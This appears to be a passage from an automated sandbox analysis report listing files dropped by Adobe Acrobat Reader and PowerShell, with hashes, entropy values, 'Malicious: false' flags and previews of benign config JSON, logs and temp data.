File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.261108270106537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJfbPtdPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGDV8Ukee9
MD5:	B289B90230960BAF1F27978BE998485A
SHA1:	7DE640C19581A16EFAEEFC214064DF457296487A
SHA-256:	41F9E72E5E6CBCDA4FC92DCE9C93631F47FF1362C88D518DEB13ACBD164E1028
SHA-512:	283898C126C20C3DA039B6665F0939FDEC7DDD79174E1912249049075E1BFF86B2EB2956C47D00228C70716A18189C06BD1722F19FB49E21DF0A4932518AA9D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.259838483074796
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJf21rPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosG+16Ukee9
MD5:	D8F7FDFB337DCC7A4051F6624364DF23
SHA1:	3557ABAEF22A9A92A49917E168ED62597AF13655
SHA-256:	85207947DF415BCC21A99A8566B3E6557D4E58FBB53DBC2EF959514747B2FE92
SHA-512:	0485E4451546D27368A87A96FB76B94612BBE59DBF403184845B1F376381EEFA33D7EC5D26063C41E63522C0CD3B735A3C11D3B6FAD24DA6324ED0A8B410B42E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658621299880803
Encrypted:	false
SSDEEP:	24:Yv6XG8Bn2Jhqgo5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJb:Yvh8B2JhR6BgkDMUJUAh8cvMx
MD5:	F2CA0B1AC5FC6E73CCE1BA48CBBE86C2
SHA1:	9CC461E5A3C4190F61A06D9343CB06086821847F
SHA-256:	61FAEA3EB3091BEC62AD1399E6ABC1528F7FE846218EA1D2E572900A43BBFCB2
SHA-512:	991EAE987091A06F2310443F3E9B4230382C5DA7CB32FC9A19FF6B29978E1839B3EC824E4E07CD1C0A63A45762F880C0CFE7B10122B70E6D03A9E8F3743598A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.234364954500466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJfshHHrPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGUUUkee9
MD5:	7F64A6D235B8F99DB03B901043C8987E
SHA1:	5075CB0DCCF5B641CCDC89A03760EDDD35EFA533
SHA-256:	9E857EA88FE956D920AC81016CC712BAAB2C3CB7A373FC0554CBBCD9C0F5D2C7
SHA-512:	CE0AACF6706BB34A379A864CB25DDC2AD03B8056EAD674D6CCDD5203A80BFAB76B224F6D75F65D9AB3115180F95295439B59FD16887FA0EA42F7C07DBB426C47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.25550174738952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuD8qiBZ2vB3/dVlPIHAR0YqgWLDoAvJTqgFCrPeUkwRe9:YvXKXuD8BBZ2vR/ZwHAugosGTq16Uke6
MD5:	326BBC508971BC5C1B09324BABA40F90
SHA1:	2CD3574279302FF7F5E1E82FEB904D522EBF6DA6
SHA-256:	FFEA4B082AFE5FC703E5FAF9054C4DD137A0A0B905AD030FF8E0FC0626212C16
SHA-512:	B454EAF40606C8F6E919628338E0A0A5191CB4A9977F930C815F4B04A360450983A8323E92EA5EA74B8D7C1B5B7CF28CA031E684106AD00563A03804E92362C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"baead62b-75bb-47c4-b8c2-9ec41d92c196","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736737294341,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136688292410574
Encrypted:	false
SSDEEP:	24:YRDbS1nvGa7P3aywvJku7vnYiAWMGarnuLnHq0kjfOVvj0S2K57bTH2sHb2LS2k/:Yl+vPri3heY75vTnslLkT9h
MD5:	B667C09601EE591B0DF12578D15CC5C4
SHA1:	5CBF04EC43CD1D6AC293507D3533716A0A0FA312
SHA-256:	F9C82689AAE3C93AC7FAEA96267A7A284661BBB31BF167226B31FDCE67F75691
SHA-512:	331B5F0B930EFDAE6E0F4DB84683FFC8F54E96B29B4685DC82F8BB8FE74EE93BD2BEA070CE13FD190EA1BD1D15B9EBABC5DBBC9B84263059D2F1EB4A01BE98B8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"04737e73e8e455075a13f4dca29a5725","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736563699000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"dcfbdb15749ea40ae8bd6bfb3e3d35ee","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736563699000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"92fe3b2e3042009d4ef832e3726018e9","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736563699000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f6826245275a57b1ae3c2b2ccdaad0d9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736563698000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"aac46dd07fd031484114b81ef0e7f7c1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736563698000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9407e6d1343f699ea84d986592c5854c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.317694000662168
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeb5tqVpZ:TGufl2GL7ms9WR1CPmPbPahjypilIV
MD5:	041C4B5C522CCB84F6EE1DBB3C9796D6
SHA1:	977700414F0AB79B021640B2A1507C64FA67FA7D
SHA-256:	0E6255499115AF0D539F06D13CB9F7AF431B31DFC16F3213AEDB65824649BB48
SHA-512:	649A41D0AF09DB1D3B0AD722BEA74B06F8BE746A35FF11C6A7446E2AA592FD6B3C746ED7460059EFA2722BCD728D86418AE73260E7176C8EB9E819FCE6BE34C1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.779665437466401
Encrypted:	false
SSDEEP:	24:7+tPlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeb54qVpaVrScVr0InwpqLhx5:7MUWR1CPmPbPahiypilIbpqFl2GL7ms/
MD5:	BD864292B5098F2CE80B5DF7ED07E2AE
SHA1:	DF2796D9F1887114D6B364F1AF93B1F4B99D413F
SHA-256:	1DE4702F2F529590B89B04D0B371F8E842A19C937E32A4D43C9B41D602F71260
SHA-512:	C4ECE1F9961D2F6B1DFD78994670C9A91696722F9DE7A631F1C77592F9C707538E80E859F23502E1E32CB099DA8A5F2C9A26406E15F589724FBF8762118CC23F
Malicious:	false
Preview:	.... .c.......m...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg2/vd7oaleDj+ArXR5KQeIhspvgYyu:6a6TZ44ADE2Xd7oasrX6CaFgK
MD5:	1B7446BF71241918365CC3EB2153F042
SHA1:	9D55B1BB2CCC3615E88973D3D983CE92F0A07BC9
SHA-256:	38E02ED328049A9E9B1AE104FC96268E0A8586FF496D0469618E2DC41AA43456
SHA-512:	F7D5A90CC337B36144417DC40A52A00D5B9A4EAFBA90EC05A6DECC83FBCDB26AFE5E58920C3575BDD59A7EC0B956A22449CAF977A9CBD9A8782685B53856F19B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSI779eb.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsOI:Qw946cPbiOxDlbYnuRK+br
MD5:	8D3DB100979C982476734DD9B5B2CCD0
SHA1:	B9C75BED78BDEA7EB94E4119D92A08661ABF66B2
SHA-256:	2465BD0D6E141A57227E76662F68831F688C81173E6821AA068B15F79F7E1208
SHA-512:	2E46D0CBEAE388361E63ACDD90D98C698F6274B5E9260B149F4230B0B88F40FA8D59884BFB20BFC7F4EBD7B87CD482DE1563135750370551A747A34EB2CC2F20
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.4.8.:.1.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vi5vekgx.1ka.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2o0skna.w4m.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-48-12-117.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.364290051676621
Encrypted:	false
SSDEEP:	384:Hkex2QvfM3lrteVroDa73UQ1JB0L4koO+R2K0oE9zx7j1FNxRyRwDIDK/0C1yf3R:zEi
MD5:	91E4160175DC1760E3120CA9F0333560
SHA1:	1B8C60C3365DE7979291A4F4EF11A5C7C5E35FF9
SHA-256:	98C79291C9BB7F1928035764A9E937F9DD6CB2F3D0C759160512810925175E3F
SHA-512:	D444AE12B533970CAF4C158EEA9633669D895A4CE49980C0E7107D9B7097E4B927B3C675B6D85AC5CAE28C2CB3916C11F96B88FB53DACE154047614236DA8B3D
Malicious:	false
Preview:	SessionID=8c51e50c-ebc7-4770-9eb9-886438b83dca.1736563692176 Timestamp=2025-01-10T21:48:12:176-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8c51e50c-ebc7-4770-9eb9-886438b83dca.1736563692176 Timestamp=2025-01-10T21:48:12:181-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8c51e50c-ebc7-4770-9eb9-886438b83dca.1736563692176 Timestamp=2025-01-10T21:48:12:181-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8c51e50c-ebc7-4770-9eb9-886438b83dca.1736563692176 Timestamp=2025-01-10T21:48:12:181-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8c51e50c-ebc7-4770-9eb9-886438b83dca.1736563692176 Timestamp=2025-01-10T21:48:12:181-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.407130536208232
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbvucbQIoEcbV:ceo4+rsCRxov
MD5:	B5128E57925E183635A117FD90BA59F9
SHA1:	52090C4BE26982D007D7A4FFB8E861BEC7B63293
SHA-256:	9E81A2390A8FF8C22C25254CB989739B97485AA4C21CE8C5F3CA28A2AC45250B
SHA-512:	F5240D6CFB9DC92491F96D88DB1CB85B55E1CF8EDD3A87C7EC8F0F8897CD875A6CDB436CF2FD25992FBE0EAC4C953840C48F544868C7C43A5BB7CEE206712B74
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5982c528-572f-4844-9129-c83890e350ed.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\770a5e8d-1885-472a-aa98-49be131a4924.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLYZwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLYZwZGuGZn3mlind9i4ufFXpAXkru
MD5:	EC8D4FAB55F24C0E344D263724846C4A
SHA1:	5444D90F86D68A23AF7FB5434DEAE740D57D0312
SHA-256:	E489C11D38BFF8F1F51351BAEBEE9F723A5C036DA0B0CB9C82306251017054EE
SHA-512:	21018FD299944987654C202779C8E0185815868DE7179B814F145573EE8D45ACC33CA7E008CB23774C473DD7939E9D7D7C2E5A14E31D5EC62F7BFFDBBAB41F9A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\89a2eb88-4458-4c7b-a6ee-44ccb15ef472.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
